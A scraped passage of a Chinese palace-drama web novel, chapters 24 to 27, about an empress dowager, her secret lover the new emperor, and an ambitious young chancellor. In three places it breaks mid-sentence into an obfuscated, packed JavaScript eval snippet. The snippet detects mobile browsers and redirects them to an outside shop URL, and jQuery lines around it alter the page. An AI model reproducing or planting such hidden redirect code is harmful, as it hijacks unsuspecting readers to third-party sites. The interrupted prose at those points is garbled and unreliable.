“杜相是我朝中流砥柱,新帝继位,百废待兴,杜相此时不可抽身而去。” 杜相推辞:“微臣也愿为国效力,只是岁月不饶人,心力不足,恐不能担当大任了。” 他去意已决,娄庄姬知道强留不住,面露遗憾。 “既然如此,本宫便也不强留。不知杜相,可有接替人选?” “太后心里,应该有想任命的人了吧?” 娄庄姬犹豫道: “是有一个,只是不知杜相是否认可,他毕竟与你有不睦。” “并无不可,只是此人能力自然无可指摘,可为一时之用;但他才如利刃,德若败絮,微臣只请太后留心,勿使他日渐壮大,到时覆水难收,养虎为患。” 娄庄姬点头,若有所思。 杜相走后,她独坐了一会儿。她的疲倦未必就少于皇帝,这一点可以从她眼下的乌青和解不开的眉头看出。她还能支撑住,全靠的是一股她无法控制的激动与心潮澎湃。 这种激动笼罩了一切,不管是疲惫,还是与皇甫澍争吵后的不愉快。她现在坐在本朝女人能做到的最高的位置上,看着群臣俯首听命,天下瞻仰。身处权力的高位给她一种眩晕般的狂喜。 在狂喜的间隙,对柳慈的愧疚又会追上她。这个女人比她大十岁,向她递出了友情的手。她先是半推半就地接受了,又以一种决绝的方式把她重新放在了母亲的高坛上。柳慈被母亲这个身份困住了一生,这是她明白的。 她强迫自己放下这些伤感,做自己该做的事。皇甫澍心情不好,沉浸在悲伤中,她可以等他恢复过来,但事儿总得有人做。而她已经迫不及待要大展身手了。 24. 将仲子(三) 皇甫澍昏昏沉沉卧床了两天,娄庄姬就通宵达旦了两天。 她几乎没有合眼休息的时候,召来即将离职的杜相,和在皇甫弘统治时一直无用武之地的重臣们,草拟新的政令,准备等皇上一苏醒过来,就呈给他看。 先皇留下的弊政,要统统废除;为了防止北狄再犯,要厉兵秣马;道士侵占的土地要归还百姓,鼓励农耕。还要裁减冗官,减免税收。科举混乱了几年,要重新重视起来,天下才子入仕要有路可走。以及,对新帝不满的势力也要尽快削弱铲除。 重臣们大多上了年纪,写着写着文书,难免要打个盹。娄庄姬理解,尽量让他们都有时间休息,自己则会主动揽下他们剩下的活。她还年轻,身上有使不完的力气。 也是在这几天,她入京时托人带给父亲的家书有了回信。 她母亲早逝,父亲尚且健在。父亲没有对她的作为有什么褒贬,只是问她身体如何,表达对新帝的敬意。结尾提了家里的近况,两个哥哥祝贺她,而他说自己“但修史耳。”编撰史书是他一生的追求,胜过所有功名利禄。娄庄姬折起信纸,慨然无话。 她们家本来不是什么名门望族,世代居于京城,到了曾祖父一辈做了个文官,后继子弟仕途也平稳,勉强算个书香世家。而就从这小门小户中,出了她这一个太后,她光耀门楣,应当骄傲。 她想,父亲在史册里,会用什么笔墨来描述自己呢? 此时,莲蕴向她报告,太妃袁氏不愿搬去秦王府,正在长信殿大吵大闹呢。 她瞬间感到一阵头疼。 对二皇子一脉,皇甫澍念及手足之情,不愿斩草除根,于是将弟弟封为秦王,迁到宫外居住,令他的母亲也要一并搬走。 袁贵妃哪有这么容易善罢甘休,不断地催促袁将军带兵攻进皇宫。对她这种以卵击石的做法,她的弟弟也不愿意听从了。她只能一个人在自己的宫殿里做困兽之斗,威力不大,倒是的确很烦人。 “她不走,你们不会把她架走?” “太妃撒泼的厉害呢。” “让她的儿子去把她劝走吧。” “秦王殿下去了,没有用,她还···” “什么?” “她还骂殿下没出息,言语粗鲁,还侮辱了您和陛下。” 娄庄姬不悦地放下笔,质问道: “她什么意思?要本宫和皇上亲自去劝她,她才肯挪窝?” 底下的大臣听到她发怒,纷纷抬起头。 “罢了罢了,本宫也是该跟她提个醒,现在不是她可以胡作非为的时候了,不然她还活在梦里呢,”娄庄姬焦躁地站起来,对群臣说,“本宫去去就回,你们继续。” 到了长信殿前,老远就听到太妃的叫喊,言辞污秽,不堪入耳。莲蕴不安地瞟了一眼娄庄姬的脸色,她只是冷笑,直接踏进了大殿,盯着衣袍凌乱的太妃。房间的角落里,站着不知所措的皇甫诚。 她见娄庄姬站在门口,一副似笑非笑的轻蔑神情,瞬间止住了闹腾,恶狠狠瞪着她。 “怎么了,你也知道这样不体面,本宫一来就停下了。” “你可算来了,我这儿的笑话好笑吗,你怎么不把那个孽种一并带来,一起看?” “你要是喜欢让人看你做戏,让秦王回府给你搭个戏台子,你爱怎么演就怎么演。只是别在皇宫里撒泼,先不管你自己尊不尊重自己,皇家的脸面、你儿子的脸面都要被你丢尽了!” 贵妃邪笑几声,弯着腰向她靠近。莲蕴担心她做出错事,想拦住她,娄庄姬却不惧,直视着她。 “我再怎么样丢脸,也比不上你啊,太后娘娘,”她刻意咬重了“太后”两个字,”和自己找来的野种私奔,又自导自演捧他到了他不该在的位置,要论做戏,我怎么比的过你呢?” “母妃,你失言了!母后,请你千万别怪罪母妃。”皇甫诚叫道。 “我不怪罪她!”娄庄姬大声道,一只手掐住了太妃的脸颊,盯着她疯狂的眼睛说道,“我可怜她,怜悯她,比输更可怕的是输得连体面都没了、连尊严都不要了,你看看你现在像野狗咬人一样的姿态,你不觉得丢人吗?” “你是怎么赢的,你心里清楚。” “你好像比我更了解我是怎么赢的。” “你觉得你就没有跌下来的那一天了吗?我也很同情你,你的丑事,是你最贴心的人抖出去的,谁真的信任你,谁真的站在你那一边?” “素砚?”娄庄姬眼中一瞬间的心痛被太妃捕捉到了,她乘势想要撕开她高傲的面具。 “就是,那个小宫女被先皇送出宫外,你想报复也报复不了了。” “我不想报复她,随她去吧。” “你不敢报复,因为你心虚,你怕抓住她,她抖落出更多的东西来。” “你想说什么?” “你装给谁看呢?慈爱的、威严的、勤恳的皇太后?当年你不过是个被打入冷宫的废妃,你的手段肮脏透顶,才让你能从那种地方翻身。你和你的——‘儿子’,跑到那么远的地方去,谁知道你们干了什么,你们两个下流的···” 她还没有骂完,娄庄姬已经给了她一个耳光。她很控制力度,只是用指尖扫过,蹭掉了一层粉。这毕竟是在她的儿子面前,要给他母亲留足脸面。 “注意你的话,太妃。我不管你还有什么不满,有什么怨恨,我一个字也不想再听到。现在给你两个选择,第一就是去王府,有什么怨气你们关起门来说,我的手伸不到你那儿去;第二,你就待在这,把门关紧了不许出去,别人也不能见你,你要发火只许对着自己。你选一下吧。” “我两个都不选,我就要让你糟心。” “袁彩娥,我是在给你下命令,没有你讨价还价的余地。” 太妃最终不得已决定跟儿子走,娄庄姬让人给她梳妆,仪容端正地抬出门去。临走前,她把皇甫诚喊到身边。 皇甫诚已经长成少年俊秀的模样,眉宇酷似已故的君王。 “你也长大了,要有自己的考量,做明智的事。你母亲的话,你能劝就劝,劝不了,是非曲直,你自己心里要掂量着点。” 娄庄姬对这个恭敬的孩子态度温和。他安静内敛,性格很像皇甫澍小时候,嘱咐的事情都认真地答应。 比他母亲可靠多了,娄庄姬心想。 离开长信殿,娄庄姬还要赶回去处理事务。和太妃对峙对她来说是一件又累又没有任何收益的烂事,后宫的争端是她想要快快翻过的一页,碾压过另一个女人有什么趣味呢?阴冷湿暗的冷宫岁月是她挥之不去的噩梦,她总想起那些疯掉的女人、死去的女人、无人问津的女人。她觉得袁太妃现在跟那些女人也没有什么分别。她说怜悯她,并不是虚伪,是不掺假的真诚感情。是什么让她们变得这么狼狈? 是因为不够聪明吗?可涂寿华就很聪明,不是也落得了悲惨结局。皇甫弘说,她充满野心与野性,横行后宫,就因为她争夺后位让皇帝不满意了,就跌落谷底?凭什么? 她从失败者的经验中总结、学习,却发现哪怕具备世界上所有的美德,也不能保证自己必胜。提升自己是虚掷精力,是没有回报的。这是后宫中女人共同的困境,后宫的游戏是没有准则的,或者说规则太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974366|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细,没有人可以确保自己永远不会触犯它们。做女人很难,做后宫的妃嫔更是难上加难。 离议事的地方近了,她看见一个小太监向她这边跑过来。一问,他说陛下已经苏醒过来了。 ”只是···” “只是什么?” 小太监面露难色,说:“陛下不愿意起床。” 娄庄姬好不容易抑制下来的怒火又烧上来,她二话不说,改变方向直奔皇帝寝宫而去。 宫内,皇甫澍已经坐起来了,几个太医还在嘘寒问暖、望闻问切,做着模棱两可的诊断。“陛下应该是无恙了。”“下床走动可对龙体有益。”“再静养几天也无妨。” 娄庄姬一到,便让在场伺候的所有人都退下。 皇甫澍见她来了,有些尴尬,又隐约表现出谋划得逞的得意。娄庄姬用笑压抑着愤怒,坐到他床边,客气道: “你现在感觉怎么样,若是不舒服,就继续躺着吧,等什么时候身体完全好了再起来。” 话音刚落,他立刻躺下,娄庄姬熬夜几天的火气蹭蹭往上冒。 “你要是一直不舒服,就一直躺着别起来,你的龙椅就是这张床了。” “就算我一直不起来,太后也会为我把所有事情处理好,不是吗?” “有什么话不妨敞开说。” “我这几天做了一个梦,梦见我成了一个木偶,而你是一个行走江湖的艺人,你扯一根线,我就动一下。” “你的梦很有意思。但现在是清醒的时候了。” “梦比现实更真实。在现实里,我都不知道我到底是你的丈夫,还是你的儿子。你听着不觉得荒唐吗?” “不荒唐。只不过我分得清人前人后,你分不清罢了。” “我现在不懂你。” “我也不懂你。你现在是打算做什么,去昭告天下你不承认我这个太后,这样你就觉得事情正确了?” 皇甫澍噎住了,没有回答,只摇头。 “那么你就接受现状吧,快点起身,你的大臣们都在等着你,天下人都在等着你。” 她不愿多言,站起来要走,却被皇甫澍拉住手。她道: “你不做事,总得有人顶着。你心里到底在想什么?” “我接受不了我们身份的变化。那样我们曾经的勇敢是为了什么呢?我做出的最大胆、最自豪的行为就是向你袒露心意,我以为你是跟我一样,认为我们的爱是高于一切礼法的。可是不是,你退缩了,你在众人的议论前害怕了。” “我是害怕了,可这是没有办法的事,”娄庄姬又坐了回去,弯下腰,凝视他,“爱可以高于一切,但如果它不学会屈服,它没有办法存活。” “你还爱着我吗?” “当然。”娄庄姬果断答道,但很快又纠结,“我真的不想再说爱来爱去这些话了。我好累。” 皇甫澍的眼神颤动了,他沉默了片刻,将另一只手也握了上去。 “对不起,这些天你辛苦了。如果现在做的是你想做的事,我不管怎样都会陪着你的。” “我希望这是我们俩都想做的事。或许要付出一点代价。我不希望你痛苦。” “我会学着不痛苦。” 皇甫澍坐起来,环抱住了她的腰,头靠在她的小腹上,带来一种温暖的踏实。她的手搭上他的头发,温柔地抚摸着。她想起了一首诗,对他们现在的处境再贴切不过了。 “将仲子兮,无逾我园,无折我树檀。岂敢爱之?畏人之多言。仲可怀也…” “人之多言,亦可畏也。”皇甫澍在她的怀抱里低声接道。 25. 根基(一) 娄庄姬像答应杜相的一样,放权让皇甫澍亲政。很快新的政令就举国颁布,曾经混乱的国家又重新回到了轨道上。 他的登基仪式在丧期结束后很快举行。身着织绣十二章纹的衮服,头戴十二旒冕,新帝气宇轩昂,不怒自威,接受来自四海八方的朝拜。他面色凝重,这个皇位还很不稳固,站在俯视群臣的高位,需要他步步小心。 他坐上龙椅,居高临下。身后垂着珠帘,帘后就是同样身着华服接受跪拜的太后。 他感到熟悉的目光落在背上,紧绷的嘴角微微扬起。 这天下不只是他一个人的天下,而是他们两个人共同的。 典礼当天晚上,宫中又出事了。皇帝更衣的时候,一旁侍候的冯盼春察觉到拿着毛巾的一个太监有点眼生。仔细一看,发现此人耳下有新长出的胡茬。他立刻让人把他抓起来。那人见事情败露,掏出藏在毛巾里的匕首向皇甫澍刺去,却被他轻松制服。 那人骨头软,刚一受刑就一五一十招了出来。他原来是道士,以行走江湖、坑蒙拐骗为生。由于新政令,要求道士全部还俗,像他们这样的人全部没了饭碗。一群人凑在一起壮胆,谋划刺杀皇帝,抽签选中了他来。 他说,现在宫里还有人潜伏着呢。 未央殿层层警备,宫里也开始了严密的搜查。彻夜灯火通明,不得安生。 娄庄姬一收到消息就赶来,殿内人人紧张,气氛凝重。 “你没有受伤吧?” “没,那人还没那个本事。” 娄庄姬安心一些。 “这是个提醒,我们的命令确实太严苛了,矫枉过正,反受其害。” “不严厉些,他们怎么会当回事呢。” “凡事还需循序渐进。” “这些人于国家无益,应该斩草除根。” “不论是否有益,从古至今一个国家里不可能缺少他们,要把他们全部除掉,也不是一条政令就可以解决的事。” 皇甫澍烦恼地点头。登基的喜日遭遇刺杀,任谁也不可能立刻释怀。他对周围人说: “你们都出去吧,朕和母后单独说会儿话。” 周围人退出去后,他开始来回地踱步。 “你在担心什么?” “杜相要告老还乡了,他有没有跟你提过朝中有谁可以继任?” “是,我们商量过。” “谁?” “狄子恒。” 皇甫澍稍显意外,停下步伐,问: “子恒的能力我并无怀疑,只是一国之相是百官之中最重要的位置,他···” “你想说,他的德行难以服众?” “正是。而且他做丞相,恐怕资历尚浅。“ “你说的都对。但问题是放眼朝堂,除了那些鬓发斑白、不久后也将卸任的老臣,我们还有别的信得过的能臣能任用吗?” 皇甫澍沉思片刻,叹道:“没有。” “狄平的能力,你、我还有杜相都是认可的,更何况他在你进京称帝时,立下了从龙之功,人尽皆知,对有功之臣不加以厚待,岂有此理。至于德行人品,于此紧缺人才的时候,先不在考虑之中。“ “你说的也是。” ”那你怎么还是愁眉不展的?” 皇甫澍避而不答。娄庄姬觉得奇怪,反复追问,他才红着脸问: “你和他是不是从小就认识?” 娄庄姬知道他想什么,噗嗤一笑,伸出一根手指点他的额头说: “想什么呢?要不是他自己提起,我都快把他忘干净了。他小时候不讨喜,跟你比差远了。” “真的吗?” “当然是真的,当他面我也这么说。” “你们俩入京的路上还背着我谋划,我竟然完全不知道。” “怎么翻起旧账来了?若不是怕你纠结,我们绝对不会背着你商议这么重要的事。你不也是背着我们调兵吗?” 皇甫澍突然别过了脸,小声道:“调兵的事其实他也知道。” 娄庄姬推了他一下。 “你不也有瞒着我的事,居然还有脸审问我?” 两人嬉笑了一阵。遇刺带来的笼罩在殿内的阴云也随之散去。 “不如您今晚就留下来?” “说什么胡话呢,成何体统。” “正好以担心我的安危做幌子,留一晚又有何妨。” 他握住她的双手恳求。烈女怕缠郎,娄庄姬挨不过他死缠烂打,只好答应。他也不再维持给外人看的礼节,手开始不安分,一把搂过她的腰,她也顺势依偎在他怀里,如同回到了幽州燕王府时一样卿卿我我。 “若不是你要做太后,我们本可天天如此,时时如此。” “你真这么做了,挨骂的人就是我了。” “我不会让人骂你的。” 娄庄姬窝在他的怀抱里,抬起头,伸出一只胳膊绕住他的脑袋,抚摸他头顶的发丝。皇甫澍低下头躲过她的抚摸,蹭了蹭她的脸颊。 殿内的熏香很沁人,烛火刚好,温暖舒适,气氛非常暧昧柔和。娄庄姬正陶醉其中,皇甫澍却突然想到了什么,动作停顿。 “你想要当太后的事,跟他说过吗?” “什么?” “狄子恒对你当太后有什么看法?” “我不知道。这种时候,不要说别人了。”她在他耳边落下一吻。 皇甫澍听从,只好把疑问咽下去,专注眼前的沉醉。 闹刺客的事持续很久。每次查出一个人,他都说宫里还有同伙,好像抓不完一样。皇帝说让他们尽管来好了,一帮人在宫里像老鼠一样藏着有什么用呢。太后对他的话表示不满,指示只要宫里有可能潜藏危险,就要不停地查下去,每一个人都要摸清楚来历,有疑问的一个都不能放过。 宫里的事故折腾个不休,虽然没有出什么事,但延后了皇帝想把远在幽州王府的公主接回来的时机。 在官方的说法中,公主的母亲,曾经的燕王侍妾秦氏已经在路上因病去世了。宫里没有安顿下来,接年幼的公主回来恐有危险。虽然幽州也不是什么无忧之地,但北狄近年不敢轻易来犯,更何况有娄庄姬信任的太守夫人照顾她,公主在那儿也没什么大碍。 幽州来使也说,公主听到要进京,在地上撒泼打滚,还闹绝食,绝不离开,太守夫人十分难办。 两人又想到她一个小孩子,经不起车马劳顿,只好暂且放下舐犊之情,等公主长大些再迎她回来。 同时,杜相打点好了朝中的事务,脱下官袍卸任。皇甫澍加封他为一品太傅,赏金百两,令他能衣锦还乡,以表达对恩师的感激。 杜相一走,狄平穿上紫袍,佩戴上金鱼袋,从被贬的落魄小官,成了梁朝有史以来最年轻的丞相。一度被豪门大户拒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974367|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之门外的狄家也因他鸡犬升天。 狄平刚刚上任时,与他共事的老臣都瞧不上这个在他们眼中乳臭未干的小子,认为他不过溜须拍马、投机取巧之徒。但狄平很快就改变了他们的偏见。 与他为人的风格不同,狄平在治国理政上的作风完全继承了师父杜钧,举重若轻,绝不大张旗鼓弄得人尽皆知,往往不动声色地就将政策推行下去。阁里的老臣针对他,他总是礼让,避免争执,很谦逊地说自己只是想把本职工作做好,不辜负圣意,那些人也被他磨得没有脾气,渐渐习惯。 皇甫澍继位后休养生息,但又觉得不能轻视国防练兵。狄平提议原来百姓缴纳的税赋可以用三年兵役来抵,大臣们都表示了支持。皇甫澍很满意,下令立即推行。他更加坚定地信任他,时常召他单独入宫议事。 娄庄姬虽说放权,也并没有将自己束缚在后宫方寸之中,会主动过问前朝证事。有些时候狄平入宫时,会撞见她也在捧着奏折,与皇甫澍讨论。三人关系本就熟络,也就不避嫌,在如闲话家常一般的语气中,决定了梁朝的生民大计。 有一次,三人一同用晚膳。期间,皇甫澍提起有大臣向他夸奖了太后的两位兄长才德无匹,可堪大用,他打算给两兄弟升官,还考虑着要不要给她父亲加爵。娄庄姬一听,放下筷子,很不高兴。 “本宫的兄弟跟别的官员一样考核政绩,绩优则升即可,不需要额外的厚待。” “提拔太后的母族,也是为了皇家的体面。” “彰显皇家的体面,就是让没有才干的人,因为与宫中贵人沾亲带故而站到他不应得的位置上吗?” “那是您的兄长,怎么会是没有才干的人呢?” “本宫了解他们,他们原本的位置最适合他们,要是再加官,他们吃不消。” “朕看您是太谦虚了。” 娄庄姬恹恹不乐。这时狄平说话了。 “陛下,臣觉得太后的顾虑是有道理的,二位国舅虽然有才,但在其位上并没有什么突出的政绩,这个时候贸然拔擢,恐怕会引人非议他们是依靠太后的面子,德不配位,对国舅和太后都不利。” 娄庄姬向他投去惊讶和欣喜并存的眼光,并赞同道:”说的对。“ 狄平接着说:“我朝历代以来,宗族子弟封王赐邑者众多,国库难以负担,要加上外姓封侯者,只怕财政难以维系。臣认为,不宜再为外姓封爵了,至于削减养宗室子弟的开支,臣最近正在与内阁众臣商议方案。” “很明智,皇帝务必听取狄丞相的忠言。” “太后谬赞。” 皇甫澍无可奈何,只好打消了这个想法。 娄庄姬那天对狄平的观感很好,两个人聊天时的语气也更加亲切随意,狄平连连向她敬酒,言语之间没有了多年前的轻佻。娄庄姬称赞他的稳重,他有意无意之中透露的有关国事的新想法也都很合她的心意。晚膳时长一延再延,直到沉默许久的皇甫澍不满地插嘴: “朕还有些折子没看,爱卿看样子是有些醉了,朕本来有些事想问你,今天是不行了。” “臣还是清醒的。” “那事不宜迟。” “不知太后娘娘同去否?” 娄庄姬笑道:“后宫岂得干政。” 皇甫澍也笑:“太后刚刚也没少听啊。” 气氛有些尴尬。狄平打了个哈哈,晚膳草草散场了。 26. 根基(二) 狄平的勤恳是举朝上下有目共睹的事实,他时常在宫中处理政事到三更之后,才乘着夜露回府。他的口碑逐渐逆转,渐渐地,大家都不再提他曾经造下的风流韵事了。 皇甫澍对他的辛勤工作大加赞扬。若他在宫中留到很晚,就会收到御赐的参汤,嘱咐他好好休息。这是旁人没有享受过的巨大荣耀,但狄平一直保持低调,从来不大肆宣扬恩宠,把人家的眼红变成了敬佩。 天气渐渐冷了。一日,狄平如往常一般走得很晚。一个他不认识的太监在门口等他很久了,他一眼看出此人不是从皇帝那儿来的。 “太后娘娘惦记您宵衣旰食,看夜里天气寒冷,嘱咐奴才给您送个手炉过来。” 狄平很高兴地笑起来,接过了梅花纹手炉,揣在怀里,说道: “劳烦公公替我感谢太后厚爱。” 他又从大袖里掏出一个用莲纹绸布裹住的包裹,鼓鼓囊囊的,交给太监。 “正巧,舍妹想到快要入冬,自作主张为太后做了一条抹额,托我呈给太后,以表达一点孝心,还请您代我献上。舍妹针脚粗鄙,望太后不要嫌弃。” “小姐有心了。” 后来三人议事的时候,皇甫澍跟狄平提起了这件事。 “母后很喜欢你妹妹做的那条抹额,出门时一直带着,爱不释手。” 娄庄姬笑:“确实做的很好,比宫里的手艺还要好呢。” 狄平谦虚道:“娘娘这么说,舍妹可就承受不起了。” “真是个有心的姑娘,她闺名是什么,如今多大了?” “小妹名叫鸣岐,年方十八。” “凤鸣岐山四方扬,女命逢此大吉昌。你妹妹这名字起得好,是有福气的人。” 狄平替妹妹答谢,又客套了几句,继而话锋一转道: “近些天,朝中议论着,后位不宜久悬,望陛下尽早立后,充实宫闱,绵延子嗣。” 他一说完,殿上的两个人原本轻松的神色一下子变得严肃起来。 “朕暂时还没有这个想法。” “此事确实应该趁早提上议程。” 两人几乎是同一时间说道。话音刚落,面面相觑。 狄平见二人意见不统一,作为知情人轻笑了一声,选择了与娄庄姬站在同一边。 “臣觉得太后娘娘言之有理,陛下膝下还未有皇子可继承大统,照此长久下去恐怕人心不稳。” “朕还年轻,你们就考虑到朕的位子谁来继承的问题了?”皇甫澍嗤笑。 “陛下,先帝在您这个年纪时,已经有两位公主,若微臣没有记错,那时您也降生了。” 皇甫澍不屑一顾道:“在先帝眼里,朕可没有降生。” 狄平沉默。 娄庄姬在一旁愁眉不展。她早就料到会有这么一天,会有这么一件事要考虑,但在此之前,她一直凭借沉浸在相爱的美梦中来欺骗自己,一再拖延。爱意短暂地冲昏了她的头脑,现在她必须清醒,必须思考并抉择了。 狄平走后,她主动开口提起这件事,却被皇甫澍打断。 “我不会立皇后,更不会要妃嫔,你放心。” “我放心有什么用,子嗣怎么办,你的位置谁来继承?” 皇甫澍意味深长地看着她。 “想什么呢,那你要怎么向天下人解释孩子的来历。” 他思索了一阵说,”实在不行,我就把皇位交给诚弟,或者诚弟的孩子;再不行,我就效仿尧舜,禅让给贤人。” 娄庄姬愣住了,这种话说出来,放到朝堂上不知要吓倒多少大臣。 “胡说。” “不是胡说。如果君王的孩子都是傻瓜,从傻瓜里面选人来继承,不管怎样对国家都不益。我觉得古代君王的做法是对的,治理国家的人,一定要是最贤能的人才行。” “如果现在有一个人比你贤能,你会把位置让给他吗?” “会。”他斩钉截铁。 这件事两人不再提起,但娄庄姬的神经变得紧张了,两人私下里,她也经常心不在焉,一问: “你怎么了?” 只答:“没怎么。” 追问无果,皇甫澍只得作罢。 不巧的是,狄平提出的兵役取代赋税的方案在民间执行时,出现了强抢壮丁的情况。有官员不论青红皂白就要抓人服兵役,想逃过去就要交比税赋更多的钱粮。被勒索的人家气不过,一咬牙跑到京师报案,一路上哭天抢地,十分轰动。 皇甫澍听后大怒,势必要整治恶官欺民,连带着查处一众先帝时的贪官污吏。整个大梁官场人人自危,生怕下一个被审问抄家的就是自己。一层一层找关系,请娄庄姬帮忙包庇作保的人也有不少。娄庄姬还没来得及有什么行动,甚至没有表态,内阁一位素来以直言不讳闻名的大臣就在早朝上明晃晃地指责,说有人妄求太后之名包庇,希望太后于内宫中恪守礼法,不要参与政事。 娄庄姬一听就恼了。她还什么都没有做,就被扣上一个包庇的帽子。而皇甫澍这几天政务繁忙,焦虑不已,顾不上宽慰她,只对她说: “您就先别出面了吧,不然事情就更乱了。” 娄庄姬此前一直做着背后辅佐谋划的工作,并不明面上登上政治舞台。怕的就是被指指点点,反而行事不利。却没想到哪怕她不做什么,恶名也会自己找上门来。 她忍受了三天于禁庭之中不问外事,拈花喝茶的悠闲日子。第一天还算放松,第二天便觉得无聊得像有虫子在爬,第三天就忍无可忍,觉得这样和关紧闭有什么区别?她怀念大权在握的时光,连辅佐皇甫澍的日子与那段时光相比都显得暗淡无聊。权力是沾了一次就再也甩不掉的东西。她决心摆脱失权的处境,熊熊的报复欲又燃起来。 这时候,狄平又托人送上一件狐裘。自从送抹额以后,他一直不断地献上礼物,都说是为了报答太后垂爱。娄庄姬当即召见他。 她也不拐弯抹角,直接说: “皇帝近日整治不正之风,你怎么不全力襄助,反而忙着给我送礼物?不怕人家说,太后包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974368|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庇你吗?” “微臣并无贪污受贿之事,岂惧人言?” “如果在他们口中你做了,能奈之何?” “那就请他们放心来查吧。” “真让他们查,他们反倒不敢了。只要能把脏水泼出去,他们的目的就达成了。” “看起来,您心里窝着火呢。” 娄庄姬冷笑。 他说:“他们这些人,最厉害的就是一张嘴,连陛下都要让着他们,不然稍有得罪,在后世就会留下骂名。只不过,这些人当中,有的是真心谏言,有的却只是哗众取宠,实则不做实事,于国有害。” “说的是。当下百废待兴,需要的是做事的人,而不是耍嘴皮子、揪着人错处不放的人。这些人,也算是冗官,不知狄相可有法子处理?” 狄平稍一思索,答道: “谏官是祖宗留下来的传统,不宜贸然更改,但太后何不使针尖对麦芒,彼此制衡?” 娄庄姬了然于胸,欣然道: “要请狄相为本宫安排妥当人选了。” 很快,朝堂上就出现了更多新的声音。有指责征兵案相关官员的同僚为了使对手定罪,对百姓疾苦坐视不管任由事情闹大的;有责骂那些疯狂举报他人的官员公报私仇,无视行政效率瘫痪的;还有人说,很多被处罚的官员能力远胜过自诩清廉的人,此次清洗会损失很多人才。 皇甫澍本来看案卷已经一个头两个大了,朝堂上持续不断提出的质疑更让他难以应付。他只得去问自己最信任的人: “选择为官者,到底是看中清廉?还是看中能力?” 娄庄姬会心一笑。 “岂不闻‘沧浪之水清兮,可以濯吾缨;沧浪之水浊兮,可以濯吾足‘,任用什么样的臣子,完全看你当下需要。” 皇甫澍露出佩服的表情,就像在冷宫时,他看着为他讲授诗书的师父一样。娄庄姬看到他闪闪发光的眼睛,心中窃喜。 朝中存在一股太后的势力,很快就成为群臣的共识了。 狄平与娄庄姬的往来也愈发密切了,当皇甫澍忙于政事的时候,狄平总是会放下自己手中的事务,殷勤地给娄庄姬汇报朝堂上的动向,确保她不错过一个任何消息。 娄庄姬赐膳的次数也越来越多,狄平成了上阳宫的常客,这位年轻英俊的丞相吸引了不少宫人的目光,紫色的官服成为宫中一道显眼的风景。有些活泼胆大的宫人见了他还会打趣说: “狄大人,又去上阳宫吗?” 宫中风言,太后与狄相会在同一方桌几上推杯换盏,会互诉衷肠。更有传言,太后与狄相很早之前就相识,狄相一表人材、年轻有为,又很会讨女人欢心,太后已经看上他了。 这种风言的可信度,又由于狄平之前与二公主的风流事儿而加深了。 传言自然没有逃过娄庄姬四通八达的耳目,但她本人似乎并不打算熄灭流言,而是任其传播。宫人将其解读为对传言沉默的佐证,愈发沸沸扬扬。 唯一不高兴的,只有皇帝。 27. 根基(三) 一开始,皇甫澍想到先帝曾经听信谗言,险些冤枉了当时还是婕妤的娄庄姬和冯盼春有私情,觉得所谓太后和丞相关系微妙也不过是有心之人背后作梗罢了,并不在乎。 但后来,这传言愈演愈烈,竟然有几分像真的。他于是旁敲侧击,试图探出口风。 整治贪污的事告一段落后,他终于可以多去上阳宫了。他有了闲暇,给娄庄姬描眉、梳发,忙里偷闲,别有一番趣味。一次,他捻起一缕青丝,陶醉地闻着发丝的香气,说: “好香,这是什么香味啊?” “我也觉得,这香味很独特,宫里都没有见过。这是狄平的妹妹制的。” “又是狄平。”他梳发的动作顿住了。 “怎么了?听起来你对他意见很大的样子?”娄庄姬的笑容似乎别有用心。 “您装傻呢。” “我想知道,你听到了什么。” “不堪入耳。” “真的吗?没有传那么离谱吧。” 皇甫澍放下梳子,从背后怀抱住她,看着镜子里的两人,皱着眉头说道: “什么意思,你知道传言,还故意考我?” “哈哈,这种传言,看来你很不满意。我看狄平倒是满意得很呢。” “他对你献殷勤,简直是到了过分的程度。” “故技重施罢了,”娄庄姬拿起一对珠翠宝石耳环,放在耳朵旁比划,“这对耳环也是他送的,若他想见我,我就戴上这副。” “为什么要让他喜欢?” “你在吃他的醋吗?”娄庄姬笑的很开心。 “当然,你都为他做到这个地步了。‘女为悦己者容’。见我的时候,你可不会这么用心打扮。” “那不一样,”娄庄姬摇头,“他需要从我这里尝到甜头,而你还需要吗?我给你还不够多?” “不够,”皇甫澍将头贴在她纤长的脖颈上,呼出的气流让她浑身麻酥酥的,“凭什么要让他尝到甜头。我们已经对他够好了,让他做了丞相,荣荫家族,赏赐不断,他还想要什么?想要你?” “你瞧瞧,你这幅样子与斤斤计较的贩夫走卒何异?身为人君的胸怀呢?楚客绝缨,人才难得。” 